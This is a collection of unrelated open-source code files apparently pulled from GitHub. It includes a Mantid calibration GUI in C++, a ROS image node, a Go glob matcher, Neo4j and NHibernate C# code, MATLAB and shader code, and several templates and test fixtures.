m_dblManager->setValue(m_properties["ResSpecMax"], maximum); } void ISISCalibration::setup() {} void ISISCalibration::run() { // Get properties const auto filenames = m_uiForm.leRunNo->getFilenames().join(","); const auto outputWorkspaceNameStem = outputWorkspaceName().toLower(); m_outputCalibrationName = outputWorkspaceNameStem + "_calib"; try { m_batchAlgoRunner->addAlgorithm(calibrationAlgorithm(filenames)); } catch (std::exception const &ex) { g_log.warning(ex.what()); return; } // Initially take the calibration workspace as the result m_pythonExportWsName = m_outputCalibrationName.toStdString(); // Configure the resolution algorithm if (m_uiForm.ckCreateResolution->isChecked()) { m_outputResolutionName = outputWorkspaceNameStem + "_res"; m_batchAlgoRunner->addAlgorithm(resolutionAlgorithm(filenames)); if (m_uiForm.ckSmoothResolution->isChecked()) addRuntimeSmoothing(m_outputResolutionName); // When creating resolution file take the resolution workspace as the result m_pythonExportWsName = m_outputResolutionName.toStdString(); } m_batchAlgoRunner->executeBatchAsync(); } /* * Handle completion of the calibration and resolution algorithms. * * @param error If the algorithms failed. */ void ISISCalibration::algorithmComplete(bool error) { if (!error) { std::vector<std::string> outputWorkspaces{ m_outputCalibrationName.toStdString()}; if (m_uiForm.ckCreateResolution->isChecked() && !m_outputResolutionName.isEmpty()) { outputWorkspaces.emplace_back(m_outputResolutionName.toStdString()); if (m_uiForm.ckSmoothResolution->isChecked()) outputWorkspaces.emplace_back(m_outputResolutionName.toStdString() + "_pre_smooth"); } setOutputPlotOptionsWorkspaces(outputWorkspaces); m_uiForm.pbSave->setEnabled(true); } } bool ISISCalibration::validate() { MantidQt::CustomInterfaces::UserInputValidator uiv; uiv.checkFileFinderWidgetIsValid("Run", m_uiForm.leRunNo); auto rangeOfPeak = peakRange(); auto rangeOfBackground = backgroundRange(); uiv.checkValidRange("Peak Range", rangeOfPeak); uiv.checkValidRange("Back Range", rangeOfBackground); uiv.checkRangesDontOverlap(rangeOfPeak, rangeOfBackground); if (m_uiForm.ckCreateResolution->isChecked()) { uiv.checkValidRange("Background", resolutionRange()); double eLow = m_dblManager->value(m_properties["ResELow"]); double eHigh = m_dblManager->value(m_properties["ResEHigh"]); double eWidth = m_dblManager->value(m_properties["ResEWidth"]); uiv.checkBins(eLow, eWidth, eHigh); } QString error = uiv.generateErrorMessage(); if (error != "") g_log.warning(error.toStdString()); return (error == ""); } /** * Sets default spectra, peak and background ranges. */ void ISISCalibration::setDefaultInstDetails() { try { setDefaultInstDetails(getInstrumentDetails()); } catch (std::exception const &ex) { g_log.warning(ex.what()); showMessageBox(ex.what()); } } void ISISCalibration::setDefaultInstDetails( QMap<QString, QString> const &instrumentDetails) { auto const instrument = getInstrumentDetail(instrumentDetails, "instrument"); auto const spectraMin = getInstrumentDetail(instrumentDetails, "spectra-min").toDouble(); auto const spectraMax = getInstrumentDetail(instrumentDetails, "spectra-max").toDouble(); // Set the search instrument for runs m_uiForm.leRunNo->setInstrumentOverride(instrument); // Set spectra range setResolutionSpectraRange(spectraMin, spectraMax); // Set peak and background ranges const auto ranges = getRangesFromInstrument(); setPeakRange(getValueOr(ranges, "peak-start-tof", 0.0), getValueOr(ranges, "peak-end-tof", 0.0)); setBackgroundRange(getValueOr(ranges, "back-start-tof", 0.0), getValueOr(ranges, "back-end-tof", 0.0)); auto const hasResolution = hasInstrumentDetail(instrumentDetails, "resolution"); m_uiForm.ckCreateResolution->setEnabled(hasResolution); if (!hasResolution) m_uiForm.ckCreateResolution->setChecked(false); } /** * Replots the raw data mini plot and the energy mini plot */ void ISISCalibration::calPlotRaw() { QString filename = m_uiForm.leRunNo->getFirstFilename(); // Don't do anything if the file we would plot has not changed if (filename.isEmpty() || filename == m_lastCalPlotFilename) return; m_lastCalPlotFilename = filename; QFileInfo fi(filename); QString wsname = fi.baseName(); int const specMin = hasInstrumentDetail("spectra-min") ? getInstrumentDetail("spectra-min").toInt() : -1; int const specMax = hasInstrumentDetail("spectra-max") ? getInstrumentDetail("spectra-max").toInt() : -1; if (!loadFile(filename, wsname, specMin, specMax)) { emit showMessageBox("Unable to load file.\nCheck whether your file exists " "and matches the selected instrument in the Energy " "Transfer tab."); return; } const auto input = std::dynamic_pointer_cast<MatrixWorkspace>( AnalysisDataService::Instance().retrieve(wsname.toStdString())); m_uiForm.ppCalibration->clear(); m_uiForm.ppCalibration->addSpectrum("Raw", input, 0); m_uiForm.ppCalibration->resizeX(); const auto &dataX = input->x(0); setPeakRangeLimits(dataX.front(), dataX.back()); setBackgroundRangeLimits(dataX.front(), dataX.back()); setDefaultInstDetails(); m_uiForm.ppCalibration->replot(); // Also replot the energy calPlotEnergy(); } /** * Replots the energy mini plot */ void ISISCalibration::calPlotEnergy() { const auto files = m_uiForm.leRunNo->getFilenames().join(","); auto reductionAlg = energyTransferReductionAlgorithm(files); reductionAlg->execute(); if (!reductionAlg->isExecuted()) { g_log.warning("Could not generate energy preview plot."); return; } WorkspaceGroup_sptr reductionOutputGroup = AnalysisDataService::Instance().retrieveWS<WorkspaceGroup>( "__IndirectCalibration_reduction"); if (reductionOutputGroup->isEmpty()) { g_log.warning("No result workspaces, cannot plot energy preview."); return; } MatrixWorkspace_sptr energyWs = std::dynamic_pointer_cast<MatrixWorkspace>( reductionOutputGroup->getItem(0)); if (!energyWs) { g_log.warning("No result workspaces, cannot plot energy preview."); return; } const auto &dataX = energyWs->x(0); QPair<double, double> range(dataX.front(), dataX.back()); auto resBackground = m_uiForm.ppResolution->getRangeSelector("ResBackground"); setPlotPropertyRange(resBackground, m_properties["ResStart"], m_properties["ResEnd"], range); m_uiForm.ppResolution->clear(); m_uiForm.ppResolution->addSpectrum("Energy", energyWs, 0); m_uiForm.ppResolution->resizeX(); calSetDefaultResolution(energyWs); m_uiForm.ppResolution->replot(); } /** * Set default background and rebinning properties for a given instrument * and analyser * * @param ws :: Mantid workspace containing the loaded instrument */ void ISISCalibration::calSetDefaultResolution( const MatrixWorkspace_const_sptr &ws) { auto inst = ws->getInstrument(); auto analyser = inst->getStringParameter("analyser"); if (analyser.size() > 0) { auto comp = inst->getComponentByName(analyser[0]); if (!comp) return; auto params = comp->getNumberParameter("resolution", true); // Set the default instrument resolution if (!params.empty()) { double res = params[0]; const auto energyRange = getXRangeFromWorkspace(ws); // Set default rebinning bounds QPair<double, double> peakERange(-res * 10, res * 10); auto resPeak = m_uiForm.ppResolution->getRangeSelector("ResPeak"); setPlotPropertyRange(resPeak, m_properties["ResELow"], m_properties["ResEHigh"], energyRange); setRangeSelector(resPeak, m_properties["ResELow"], m_properties["ResEHigh"], peakERange); // Set default background bounds QPair<double, double> backgroundERange(-res * 9, -res * 8); auto resBackground = m_uiForm.ppResolution->getRangeSelector("ResBackground"); setRangeSelector(resBackground, m_properties["ResStart"], m_properties["ResEnd"], backgroundERange); } } } /** * Handles a range selector having it's minimum value changed. * Updates property in property map. * * @param val :: New minimum value */ void ISISCalibration::calMinChanged(double val) { auto calPeak = m_uiForm.ppCalibration->getRangeSelector("CalPeak"); auto calBackground = m_uiForm.ppCalibration->getRangeSelector("CalBackground"); auto resPeak = m_uiForm.ppResolution->getRangeSelector("ResPeak"); auto resBackground = m_uiForm.ppResolution->getRangeSelector("ResBackground"); MantidWidgets::RangeSelector *from = qobject_cast<MantidWidgets::RangeSelector *>(sender()); disconnect(m_dblManager, SIGNAL(valueChanged(QtProperty *, double)), this, SLOT(calUpdateRS(QtProperty *, double))); if (from == calPeak) { m_dblManager->setValue(m_properties["CalPeakMin"], val); } else if (from == calBackground) { m_dblManager->setValue(m_properties["CalBackMin"], val); } else if (from == resPeak) { m_dblManager->setValue(m_properties["ResELow"], val); } else if (from == resBackground) { m_dblManager->setValue(m_properties["ResStart"], val); } connect(m_dblManager, SIGNAL(valueChanged(QtProperty *, double)), this, SLOT(calUpdateRS(QtProperty *, double))); } /** * Handles a range selector having it's maximum value changed. * Updates property in property map. * * @param val :: New maximum value */ void ISISCalibration::calMaxChanged(double val) { auto calPeak = m_uiForm.ppCalibration->getRangeSelector("CalPeak"); auto calBackground = m_uiForm.ppCalibration->getRangeSelector("CalBackground"); auto resPeak = m_uiForm.ppResolution->getRangeSelector("ResPeak"); auto resBackground = m_uiForm.ppResolution->getRangeSelector("ResBackground"); MantidWidgets::RangeSelector *from = qobject_cast<MantidWidgets::RangeSelector *>(sender()); disconnect(m_dblManager, SIGNAL(valueChanged(QtProperty *, double)), this, SLOT(calUpdateRS(QtProperty *, double))); if (from == calPeak) { m_dblManager->setValue(m_properties["CalPeakMax"], val); } else if (from == calBackground) { m_dblManager->setValue(m_properties["CalBackMax"], val); } else if (from == resPeak) { m_dblManager->setValue(m_properties["ResEHigh"], val); } else if (from == resBackground) { m_dblManager->setValue(m_properties["ResEnd"], val); } connect(m_dblManager, SIGNAL(valueChanged(QtProperty *, double)), this, SLOT(calUpdateRS(QtProperty *, double))); } /** * Update a range selector given a QtProperty and new value * * @param prop :: The property to update * @param val :: New value for property */ void ISISCalibration::calUpdateRS(QtProperty *prop, double val) { auto calPeak = m_uiForm.ppCalibration->getRangeSelector("CalPeak"); auto calBackground = m_uiForm.ppCalibration->getRangeSelector("CalBackground"); auto resPeak = m_uiForm.ppResolution->getRangeSelector("ResPeak"); auto resBackground = m_uiForm.ppResolution->getRangeSelector("ResBackground"); disconnect(m_dblManager, SIGNAL(valueChanged(QtProperty *, double)), this, SLOT(calUpdateRS(QtProperty *, double))); if (prop == m_properties["CalPeakMin"]) { setRangeSelectorMin(m_properties["CalPeakMin"], m_properties["CalPeakMax"], calPeak, val); } else if (prop == m_properties["CalPeakMax"]) { setRangeSelectorMax(m_properties["CalPeakMin"], m_properties["CalPeakMax"], calPeak, val); } else if (prop == m_properties["CalBackMin"]) { setRangeSelectorMin(m_properties["CalPeakMin"], m_properties["CalBackMax"], calBackground, val); } else if (prop == m_properties["CalBackMax"]) { setRangeSelectorMax(m_properties["CalPeakMin"], m_properties["CalBackMax"], calBackground, val); } else if (prop == m_properties["ResStart"]) { setRangeSelectorMin(m_properties["ResStart"], m_properties["ResEnd"], resBackground, val); } else if (prop == m_properties["ResEnd"]) { setRangeSelectorMax(m_properties["ResStart"], m_properties["ResEnd"], resBackground, val); } else if (prop == m_properties["ResELow"]) { setRangeSelectorMin(m_properties["ResELow"], m_properties["ResEHigh"], resPeak, val); } else if (prop == m_properties["ResEHigh"]) { setRangeSelectorMax(m_properties["ResELow"], m_properties["ResEHigh"], resPeak, val); } connect(m_dblManager, SIGNAL(valueChanged(QtProperty *, double)), this, SLOT(calUpdateRS(QtProperty *, double))); } /** * This function enables/disables the display of the options involved in *creating the RES file. * * @param state :: whether checkbox is checked or unchecked */ void ISISCalibration::resCheck(bool state) { m_uiForm.ppResolution->getRangeSelector("ResPeak")->setVisible(state); m_uiForm.ppResolution->getRangeSelector("ResBackground")->setVisible(state); // Toggle scale and smooth options m_uiForm.ckResolutionScale->setEnabled(state); m_uiForm.ckSmoothResolution->setEnabled(state); } /** * Called when a user starts to type / edit the runs to load. */ void ISISCalibration::pbRunEditing() { updateRunButton(false, "unchanged", "Editing...", "Run numbers are currently being edited."); } /** * Called when the FileFinder starts finding the files. */ void ISISCalibration::pbRunFinding() { updateRunButton(false, "unchanged", "Finding files...", "Searching for data files for the run numbers entered..."); m_uiForm.leRunNo->setEnabled(false); } /** * Called when the FileFinder has finished finding the files. */ void ISISCalibration::pbRunFinished() { if (!m_uiForm.leRunNo->isValid()) updateRunButton( false, "unchanged", "Invalid Run(s)", "Cannot find data files for some of the run numbers entered."); else updateRunButton(); m_uiForm.leRunNo->setEnabled(true); } /** * Handle saving of workspace */ void ISISCalibration::saveClicked() { checkADSForPlotSaveWorkspace(m_outputCalibrationName.toStdString(), false); addSaveWorkspaceToQueue(m_outputCalibrationName); if (m_uiForm.ckCreateResolution->isChecked()) { checkADSForPlotSaveWorkspace(m_outputResolutionName.toStdString(), false); addSaveWorkspaceToQueue(m_outputResolutionName); } m_batchAlgoRunner->executeBatchAsync(); } /** * Handle when Run is clicked */ void ISISCalibration::runClicked() { runTab(); } void ISISCalibration::addRuntimeSmoothing(const QString &workspaceName) { auto smoothAlg = AlgorithmManager::Instance().create("WienerSmooth"); smoothAlg->initialize(); smoothAlg->setProperty("OutputWorkspace", workspaceName.toStdString()); BatchAlgorithmRunner::AlgorithmRuntimeProps smoothAlgInputProps; smoothAlgInputProps["InputWorkspace"] = workspaceName.toStdString() + "_pre_smooth"; m_batchAlgoRunner->addAlgorithm(smoothAlg, smoothAlgInputProps); } IAlgorithm_sptr ISISCalibration::calibrationAlgorithm(const QString &inputFiles) { auto calibrationAlg = AlgorithmManager::Instance().create("IndirectCalibration"); calibrationAlg->initialize(); calibrationAlg->setProperty("InputFiles", inputFiles.toStdString()); calibrationAlg->setProperty("OutputWorkspace", m_outputCalibrationName.toStdString()); calibrationAlg->setProperty("DetectorRange", instrumentDetectorRangeString().toStdString()); calibrationAlg->setProperty("PeakRange", peakRangeString().toStdString()); calibrationAlg->setProperty("BackgroundRange", backgroundRangeString().toStdString()); calibrationAlg->setProperty("LoadLogFiles", m_uiForm.ckLoadLogFiles->isChecked()); if (m_uiForm.ckScale->isChecked()) calibrationAlg->setProperty("ScaleFactor", m_uiForm.spScale->value()); return calibrationAlg; } IAlgorithm_sptr ISISCalibration::resolutionAlgorithm(const QString &inputFiles) const { auto resAlg = AlgorithmManager::Instance().create("IndirectResolution", -1); resAlg->initialize(); resAlg->setProperty("InputFiles", inputFiles.toStdString()); resAlg->setProperty("Instrument", getInstrumentName().toStdString()); resAlg->setProperty("Analyser", getAnalyserName().toStdString()); resAlg->setProperty("Reflection", getReflectionName().toStdString()); resAlg->setProperty("RebinParam", rebinString().toStdString()); resAlg->setProperty("DetectorRange", resolutionDetectorRangeString().toStdString()); resAlg->setProperty("BackgroundRange", backgroundString().toStdString()); resAlg->setProperty("LoadLogFiles", m_uiForm.ckLoadLogFiles->isChecked()); if (m_uiForm.ckResolutionScale->isChecked()) resAlg->setProperty("ScaleFactor", m_uiForm.spScale->value()); if (m_uiForm.ckSmoothResolution->isChecked()) resAlg->setProperty("OutputWorkspace", m_outputResolutionName.toStdString() + "_pre_smooth"); else resAlg->setProperty("OutputWorkspace", m_outputResolutionName.toStdString()); return resAlg; } IAlgorithm_sptr ISISCalibration::energyTransferReductionAlgorithm( const QString &inputFiles) const { auto reductionAlg = AlgorithmManager::Instance().create("ISISIndirectEnergyTransferWrapper"); reductionAlg->initialize(); reductionAlg->setProperty("Instrument", getInstrumentName().toStdString()); reductionAlg->setProperty("Analyser", getAnalyserName().toStdString()); reductionAlg->setProperty("Reflection", getReflectionName().toStdString()); reductionAlg->setProperty("InputFiles", inputFiles.toStdString()); reductionAlg->setProperty("SumFiles", m_uiForm.ckSumFiles->isChecked()); reductionAlg->setProperty("OutputWorkspace", "__IndirectCalibration_reduction"); reductionAlg->setProperty("SpectraRange", resolutionDetectorRangeString().toStdString()); reductionAlg->setProperty("LoadLogFiles", m_uiForm.ckLoadLogFiles->isChecked()); return reductionAlg; } void ISISCalibration::setRunEnabled(bool enabled) { m_uiForm.pbRun->setEnabled(enabled); } void ISISCalibration::setSaveEnabled(bool enabled) { m_uiForm.pbSave->setEnabled(enabled); } void ISISCalibration::updateRunButton(bool enabled, std::string const &enableOutputButtons, QString const &message, QString const &tooltip) { setRunEnabled(enabled); m_uiForm.pbRun->setText(message); m_uiForm.pbRun->setToolTip(tooltip); if (enableOutputButtons != "unchanged") setSaveEnabled(enableOutputButtons == "enable"); } } // namespace CustomInterfaces } // namespace MantidQt
{ "pile_set_name": "Github" }
#!/usr/bin/env python # -*- coding: utf-8 -*- import numpy as np from jsk_topic_tools import ConnectionBasedTransport import rospy from sensor_msgs.msg import Image import cv_bridge class MaskImageToLabel(ConnectionBasedTransport): def __init__(self): super(MaskImageToLabel, self).__init__() self._pub = self.advertise('~output', Image, queue_size=1) def subscribe(self): self._sub = rospy.Subscriber('~input', Image, self._apply) def unsubscribe(self): self._sub.unregister() def _apply(self, msg): bridge = cv_bridge.CvBridge() mask = bridge.imgmsg_to_cv2(msg, desired_encoding='mono8') if mask.size == 0: rospy.logdebug('Skipping empty image') return label = np.zeros(mask.shape, dtype=np.int32) label[mask == 0] = 0 label[mask == 255] = 1 label_msg = bridge.cv2_to_imgmsg(label, encoding='32SC1') label_msg.header = msg.header self._pub.publish(label_msg) if __name__ == '__main__': rospy.init_node('mask_image_to_label') mask2label = MaskImageToLabel() rospy.spin()
{ "pile_set_name": "Github" }
package match import ( "fmt" "strings" ) type PrefixSuffix struct { Prefix, Suffix string } func NewPrefixSuffix(p, s string) PrefixSuffix { return PrefixSuffix{p, s} } func (self PrefixSuffix) Index(s string) (int, []int) { prefixIdx := strings.Index(s, self.Prefix) if prefixIdx == -1 { return -1, nil } suffixLen := len(self.Suffix) if suffixLen <= 0 { return prefixIdx, []int{len(s) - prefixIdx} } if (len(s) - prefixIdx) <= 0 { return -1, nil } segments := acquireSegments(len(s) - prefixIdx) for sub := s[prefixIdx:]; ; { suffixIdx := strings.LastIndex(sub, self.Suffix) if suffixIdx == -1 { break } segments = append(segments, suffixIdx+suffixLen) sub = sub[:suffixIdx] } if len(segments) == 0 { releaseSegments(segments) return -1, nil } reverseSegments(segments) return prefixIdx, segments } func (self PrefixSuffix) Len() int { return lenNo } func (self PrefixSuffix) Match(s string) bool { return strings.HasPrefix(s, self.Prefix) && strings.HasSuffix(s, self.Suffix) } func (self PrefixSuffix) String() string { return fmt.Sprintf("<prefix_suffix:[%s,%s]>", self.Prefix, self.Suffix) }
{ "pile_set_name": "Github" }
// Copyright (c) 2002-2020 "Neo4j," // Neo4j Sweden AB [http://neo4j.com] // // This file is part of Neo4j. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. using System; using System.Collections.Generic; namespace Neo4j.Driver { /// <summary> /// Common interface for components that can execute Neo4j queries. /// </summary> /// <remarks> /// <see cref="IAsyncSession"/> and <see cref="IAsyncTransaction"/> /// </remarks> public interface IQueryRunner : IDisposable { /// <summary> /// /// Run a query and return a result stream. /// /// This method accepts a String representing a Cypher query which will be /// compiled into a query object that can be used to efficiently execute this /// query multiple times. /// </summary> /// <param name="query">A Cypher query.</param> /// <returns>A stream of result values and associated metadata.</returns> IResult Run(string query); /// <summary> /// Execute a query and return a result stream. /// </summary> /// <param name="query">A Cypher query.</param> /// <param name="parameters">A parameter dictionary which is made of prop.Name=prop.Value pairs would be created.</param> /// <returns>A stream of result values and associated metadata.</returns> IResult Run(string query, object parameters); /// <summary> /// /// Run a query and return a result stream. /// /// This method accepts a String representing a Cypher query which will be /// compiled into a query object that can be used to efficiently execute this /// query multiple times. This method optionally accepts a set of parameters /// which will be injected into the query object query by Neo4j. /// /// </summary> /// <param name="query">A Cypher query.</param> /// <param name="parameters">Input parameters for the query.</param> /// <returns>A stream of result values and associated metadata.</returns> IResult Run(string query, IDictionary<string, object> parameters); /// <summary> /// /// Execute a query and return a result stream. /// /// </summary> /// <param name="query">A Cypher query, <see cref="Query"/>.</param> /// <returns>A stream of result values and associated metadata.</returns> IResult Run(Query query); } }
{ "pile_set_name": "Github" }
function y = vl_nnnormalizelp(x,dzdy,varargin) %VL_NNNORMALIZELP CNN Lp normalization % Y = VL_NNNORMALIZELP(X) normalizes in Lp norm each spatial % location in the array X: % % Y(i,j,k) = X(i,j,k) / sum_q (X(i,j,q).^p + epsilon)^(1/p) % % DZDX = VL_NNNORMALIZELP(X, DZDY) computes the derivative of the % function with respect to X projected onto DZDY. % % VL_NNNORMALIZE(___, 'opts', val, ...) takes the following options: % % `p`:: 2 % The exponent of the Lp norm. Warning: currently only even % exponents are supported. % % `epsilon`:: 0.01 % The constant added to the sum of p-powers before taking the % 1/p square root (see the formula above). % % `spatial`:: `false` % If `true`, sum along the two spatial dimensions instead of % along the feature channels. % % See also: VL_NNNORMALIZE(). opts.epsilon = 1e-2 ; opts.p = 2 ; opts.spatial = false ; opts = vl_argparse(opts, varargin, 'nonrecursive') ; if ~opts.spatial massp = sum(x.^opts.p,3) + opts.epsilon ; else massp = sum(sum(x.^opts.p,1),2) + opts.epsilon ; end mass = massp.^(1/opts.p) ; y = bsxfun(@rdivide, x, mass) ; if nargin < 2 || isempty(dzdy) return ; else dzdy = bsxfun(@rdivide, dzdy, mass) ; if ~opts.spatial tmp = sum(dzdy .* x, 3) ; else tmp = sum(sum(dzdy .* x, 1),2); end y = dzdy - bsxfun(@times, tmp, bsxfun(@rdivide, x.^(opts.p-1), massp)) ; end
{ "pile_set_name": "Github" }
/// Helper for 'components/category' to stylize a category with a specified color /// @param {Color} $color - Color CSS value @mixin category-color-variant($color) { color: $color !important; border: 1px solid $color; &:hover { color: darken($color, 15) !important; border: 1px solid darken($color, 15); text-decoration: none; } } /// Helper for 'components/category' to stylize a category with a specified size and padding /// @param {Number} $font-size - Font-size CSS value /// @param {List} $padding - Padding CSS value @mixin category-size-variant($font-size, $padding) { font-size: $font-size; padding: $padding; }
{ "pile_set_name": "Github" }
<!doctype html> <html> <head> <meta charset="utf-8"> <title>{{ "MailTitle" | get_plugin_lang('AdvancedSubscriptionPlugin') | format(session.name) }}</title> </head> <body> <table width="700" border="0" cellspacing="0" cellpadding="0"> <tr> <td><img src="{{ _p.web_plugin }}advanced_subscription/views/img/header.png" width="700" height="20" alt=""></td> </tr> <tr> <td><img src="{{ _p.web_plugin }}advanced_subscription/views/img/line.png" width="700" height="25" alt=""></td> </tr> <tr> <td valign="top"><table width="700" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="50">&nbsp;</td> <td width="394"><img src="{{ _p.web_css }}/themes/{{ "stylesheets"|api_get_setting }}/images/header-logo.png" width="230" height="60" alt="Ministerio de Educación"></td> <td width="50">&nbsp;</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>&nbsp;</td> <td style="color: #93c5cd; font-family: Times New Roman, Times, serif; font-size: 24px; font-weight: bold; border-bottom-width: 2px; border-bottom-style: solid; border-bottom-color: #93c5cd;">{{ "MailTitleAdminAcceptToStudent" | get_plugin_lang('AdvancedSubscriptionPlugin') | format(session.name) }}</td> <td>&nbsp;</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td height="356">&nbsp;</td> <td valign="top"><p> {{ "MailDear" | get_plugin_lang('AdvancedSubscriptionPlugin') }} </p> <h2>{{ student.complete_name }}</h2> <p>{{ "MailContentAdminAcceptToStudent" | get_plugin_lang('AdvancedSubscriptionPlugin') | format(session.name, session.date_start) }}</p> <p>{{ "MailThankYou" | get_plugin_lang('AdvancedSubscriptionPlugin') }}</p> <h3>{{ signature }}</h3></td> <td>&nbsp;</td> </tr> <tr> <td width="50">&nbsp;</td> <td>&nbsp;</td> <td width="50">&nbsp;</td> </tr> </table></td> </tr> <tr> <td><img src="{{ _p.web_plugin }}advanced_subscription/views/img/line.png" width="700" height="25" alt=""></td> </tr> <tr> <td><img src="{{ _p.web_plugin }}advanced_subscription/views/img/footer.png" width="700" height="20" alt=""></td> </tr> <tr> <td>&nbsp;</td> </tr> </table> </body> </html>
{ "pile_set_name": "Github" }
using NHibernate; using Recipes.Immutable; using Recipes.NHibernate.Entities; using Recipes.NHibernate.Models; using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Linq; namespace Recipes.NHibernate.Immutable { public class ImmutableScenario : IImmutableScenario<ReadOnlyEmployeeClassification> { readonly ISessionFactory m_SessionFactory; public ImmutableScenario(ISessionFactory sessionFactory) { m_SessionFactory = sessionFactory; } public int Create(ReadOnlyEmployeeClassification classification) { if (classification == null) throw new ArgumentNullException(nameof(classification), $"{nameof(classification)} is null."); using (var session = m_SessionFactory.OpenSession()) { var temp = classification.ToEntity(); session.Save(temp); session.Flush(); return temp.EmployeeClassificationKey; } } public void Delete(ReadOnlyEmployeeClassification classification) { if (classification == null) throw new ArgumentNullException(nameof(classification), $"{nameof(classification)} is null."); using (var session = m_SessionFactory.OpenSession()) { session.Delete(classification.ToEntity()); session.Flush(); } } public ReadOnlyEmployeeClassification? FindByName(string employeeClassificationName) { using (var session = m_SessionFactory.OpenStatelessSession()) { return session.QueryOver<EmployeeClassification>().Where(e => e.EmployeeClassificationName == employeeClassificationName).List() .Select(x => new ReadOnlyEmployeeClassification(x)).SingleOrDefault(); } } public IReadOnlyList<ReadOnlyEmployeeClassification> GetAll() { using (var session = m_SessionFactory.OpenStatelessSession()) { return session.QueryOver<EmployeeClassification>().List() .Select(x => new ReadOnlyEmployeeClassification(x)).ToImmutableArray(); } } public ReadOnlyEmployeeClassification? GetByKey(int employeeClassificationKey) { using (var session = m_SessionFactory.OpenStatelessSession()) { var result = session.Get<EmployeeClassification>(employeeClassificationKey); return new ReadOnlyEmployeeClassification(result); } } public void Update(ReadOnlyEmployeeClassification classification) { if (classification == null) throw new ArgumentNullException(nameof(classification), $"{nameof(classification)} is null."); using (var session = m_SessionFactory.OpenSession()) { session.Update(classification.ToEntity()); session.Flush(); } } } }
{ "pile_set_name": "Github" }
// copy.frag #define SHADER_NAME SIMPLE_TEXTURE precision highp float; varying vec3 vNormal; varying vec3 vPosition; const vec3 LIGHT = vec3(-1.0, .8, .6); float diffuse(vec3 N, vec3 L) { return max(dot(N, normalize(L)), 0.0); } vec3 diffuse(vec3 N, vec3 L, vec3 C) { return diffuse(N, L) * C; } void main(void) { if(vPosition.z <= 0.0) { discard; } float d = diffuse(vNormal, LIGHT); d = mix(d, 1.0, .5); gl_FragColor = vec4(vec3(d), 1.0); }
{ "pile_set_name": "Github" }
Various data sets used in examples and exercises in the book Maindonald, J.H. and Braun, W.J. (2003, 2007, 2010) "Data Analysis and Graphics Using R".
{ "pile_set_name": "Github" }
%p I want my words %a> to have spaces on the outside So they don't run together. But i also want some to have %a< spaces on the inside and still others to have %a<> spaces on either side even if it has %a<>= "code" on the line %a>= "or" just code with space on the outside %p %a link s that touch their neighbor. %p And %a>links that do not %p Or a %b<> important thing with tons of space %p Download the file %a(href="/home")> here now. -# empty tag %p<> - id="123456"; locals={name:"hi"} .item.pending{data-id: id} %input.checkbox(type="checkbox" id="todo-"+id) %label.description(name=("todo-"+id))= (locals.name || "") %span<>= id %a.delete.live{href:"/todo/"+id+"/delete"}> delete
{ "pile_set_name": "Github" }
function pass = test_dot( ) % Test dot product tol = 10*chebfunpref().cheb2Prefs.chebfun2eps; % Test dot product of empty spherefunv. f = spherefunv; g = spherefunv; h = dot(f,g); pass(1) = isempty(h); % Test that the dot product of two orthogonal vectors is zero. f = spherefun(@(x,y,z) cos((x+.1).*y.*z)); % Vector field tangent to the sphere u = grad(f); % Verctor field normal to the sphere nrml = spherefunv(spherefun(@(x,y,z) x),spherefun(@(x,y,z) y),spherefun(@(x,y,z) z)); h = dot(u,nrml); pass(2) = norm(h,inf) < tol; % Test that the dot product gives the correct result u1 = spherefun(@(x,y,z) x.*z.*cos(2*y)); u2 = spherefun(@(x,y,z) y.*z.*sin(2*x)); u3 = spherefun(@(x,y,z) exp(x.*y.*z)); u = spherefunv(u1,u2,u3); v1 = spherefun(@(x,y,z) x.*y); v2 = spherefun(@(x,y,z) y.*z); v3 = spherefun(@(x,y,z) z.*x); v = spherefunv(v1,v2,v3); f = dot(u,v); % Same as the dot product g = u1.*v1 + u2.*v2 + u3.*v3; pass(3) = norm(g-f) < tol; % Same as dot product g = u'*v; pass(4) = norm(g-f) < tol; end
{ "pile_set_name": "Github" }
{% extends "get_together/base.html" %} {% load markup static i18n %} {% block content %} <div class="container"> <div class="row"> <div class="col-md-9"> <h2>{{ talk.title }} {% if talk.speaker.user == request.user.profile %} <a href="{% url 'edit-talk' talk.id %}" class="btn btn-secondary btn-sm">{% trans "Edit Talk" %}</a> {% endif %} </h2> <table class="table"> <tr> <td><b>{% trans "Speaker:" %}</b></td><td><a href="{% url 'show-speaker' talk.speaker.id %}">{{ talk.speaker }}</a></td> </tr> <tr> <td><b>{% trans "Category:" %}</b></td><td>{{ talk.category }}</td> </tr> {% if talk.web_url %} <tr> <td><b>{% trans "Website:" %}</b></td><td><a href="{{ talk.web_url }}" target="_blank">{{ talk.web_url }}</a></td> </tr> {% endif %} <tr> <td><b>{% trans "Abstract:" %}</b></td><td>{{ talk.abstract|markdown }}</td> </tr> </table> </div> <div class="col-md-3"> <div class="container"> <div class="row"> <div class="col"><h4>{% trans "Events" %} ({{presentations.count}})</h4><hr/></div> </div> {% for presentation in presentations %} <div class="row mb-3"> <div class="col"> <h6 class="mt-2 mb-0"><a href="{{presentation.event.get_absolute_url}}">{{presentation.event.name}}</a></h6> <small>{{ presentation.event.team }}</small><br/> <small class="text-muted">{{ presentation.event.local_start_time }}</small> </div> </div> {% endfor %} </div> </div> </div> </div> {% endblock %}
{ "pile_set_name": "Github" }
{ "__comment": "Generated by generateResources.py function: model", "parent": "item/generated", "textures": { "layer0": "tfc:items/metal/ingot/platinum" } }
{ "pile_set_name": "Github" }
